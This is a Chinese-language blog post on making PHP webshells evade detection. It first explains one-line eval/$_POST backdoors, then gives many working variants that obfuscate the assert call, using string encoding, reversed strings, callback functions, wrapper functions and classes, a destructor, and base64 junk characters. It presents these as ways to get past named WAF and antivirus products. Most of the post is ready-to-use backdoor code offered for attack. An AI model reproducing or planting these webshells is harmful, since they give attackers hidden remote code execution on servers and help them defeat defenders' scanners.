zoukankan      html  css  js  c++  java
  • PHP木马免杀的一些总结

    前言

    这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:

    1. 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的,这种的是“小马”。
    2. 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、冰蝎)进行交互的一句话木马。
    3. 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的“大马”
      以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WAF的查杀。

    一句话木马原理

    讲php一句话木马免杀之前,先简单说一下一句话木马原理,这样才能更好的举一反三。
    先看代码:

    <?php eval($_POST["shell"]);?>
    

    其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行
    函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。
    还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。
    可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。
    说的在通俗一点,就是如果你这样用<?php $a=eval;$a() ?>是不行的,所以变形免杀的时候不够灵活,咱们找其他的函数代替,后面讲免杀再详细说。
    $_POST['shell']就是接收的数据。也可以使用$_GET或者$_REQUEST。eval函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。
    下面通过几种方法讲一讲木马的免杀

    相同功能函数替换

    一般WAF查杀,就是检查关键字,而eval上文说过不够灵活,这里可以替换成assert,assert函数PHP手册的解释是:

    assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!
    

    而我们光替换还是远远不够,还是无法逃过WAF查杀,这样就需要变形了,所以第二种方法字符串变形。绕安全狗比较靠谱,因为安全狗更注重形。而PHP操作字符串的函数非常多,如下图:

    这里也总结了一些:

    convert_uudecode() #解码一个 uuencode 编码的字符串。
    convert_uuencode() #使用 uuencode 编码一个字符串。
    ucwords() #函数把字符串中每个单词的首字符转换为大写。
    strrev () #反转字符串
    trim() #函数从字符串的两端删除空白字符和其他预定义字符。
    substr_replace() #函数把字符串的一部分替换为另一个字符串
    substr() #函数返回字符串的一部分。
    strtr() #函数转换字符串中特定的字符。
    strtoupper() #函数把字符串转换为大写。
    strtolower() #函数把字符串转换为小写。
    implode()  #将一个一维数组的值转化为字符串。
    str_rot13() #函数对字符串执行 ROT13 编码。
    

    举个例子:

    <?php
    // 使用 uuencode 编码一个字符串
    $a=convert_uuencode("assert");
    $b=convert_uudecode($a);
    $b($_POST["shell"]);
    ?>
    

    这里就不一一举例了。

    自定义函数绕过

    举个例子:

    <?php
    function shadog($a){
        $a($_POST["shell"]);
    }
    shadog(assert);
    ?>
    

    这种方法绕安全狗比较靠谱,在D盾面前就比较弱智了。

    回调函数

    call_user_func_array()
    call_user_func()
    array_filter() 
    array_walk()  
    array_map()
    registregister_shutdown_function()
    register_tick_function()
    filter_var() 
    filter_var_array() 
    uasort() 
    uksort() 
    array_reduce()
    array_walk() 
    array_walk_recursive()
    

    现在大部分回调函数已经被杀毒软件加入全家桶了,得找那比较生僻得。
    比如:

    <?php 
    forward_static_call_array(assert,array($_POST["shell"]));
    ?>
    

    上面说大部分回调函数被杀毒软件加入全家桶,那如何绕过呢?还可以变形,比如我再定义一个函数,或者再定义一个类。
    比如我定义一个函数

    <?php
    function shawaf($a,$b){
        forward_static_call_array($a,$b);
    }
    shawaf(assert,array($_POST["shell"]));
    ?>
    

    也可以定义一个类

    <?php
    class shawaf{
        var $a;
        var $b;
        function __construct($a,$b)
        {
            $this->a=$a;
            $this->b=$b;
        }
        function test(){
            forward_static_call_array($this->a,$this->b);
        }
    }
    $s1= new shawaf(assert,array($_POST["shell"]));
    $s1->test();
    ?>
    

    特殊字符干扰

    特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。比如网上流传得连接符。
    举个例子:

    <?php
    $a = $_POST['a'];
    $b = "
    ";
    eval($b.=$a);
    ?>
    

    数组绕过

    可以把代码放入数组中,执行绕过:

    <?php
    $a=strrev ("tressa");
    $b=[''=>$a($_POST["shell"])];
    ?>
    

    类绕过

    举个例子:

    <?php 
    class shawaf
    {
      public $a = '';
      function __destruct(){
    
        assert("$this->a");
      }
    }
    
    $b = new shawaf;
    $b->a = $_POST["shell"];
    ?>
    

    编码绕过

    这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软。
    举个例子:

    <?php
    $a = base64_decode("YXNz+ZX____J____0");
    $a($_POST["shell"]);
    ?>
    

    小结

    通过上面得方法,基本可以有上百种变形,多看看PHP手册。还有一点值得注意,就是PHP7.1之后得版本,已经不能使用强大的assert()函数了。在总结一点,结合杀毒软件的特性来构造相应的免杀方法。比如安全狗杀型,D盾杀参,对于关键词的后传入对于绕过主流杀软都是比较好的。

  • 相关阅读:
    九度OJ 1035:找出直系亲属(二叉树)
    while 循环的理解
    while 循环的理解
    count 变量的使用
    count 变量的使用
    数据结构与算法的实现 —— 结点定义与数据结构的选择
    数据结构与算法的实现 —— 结点定义与数据结构的选择
    最小生成树(MST,minimum spanning tree)
    最小生成树(MST,minimum spanning tree)
    Opencv中Mat矩阵相乘——点乘、dot、mul运算详解
  • 原文地址:https://www.cnblogs.com/lxfweb/p/13663926.html
Copyright © 2011-2022 走看看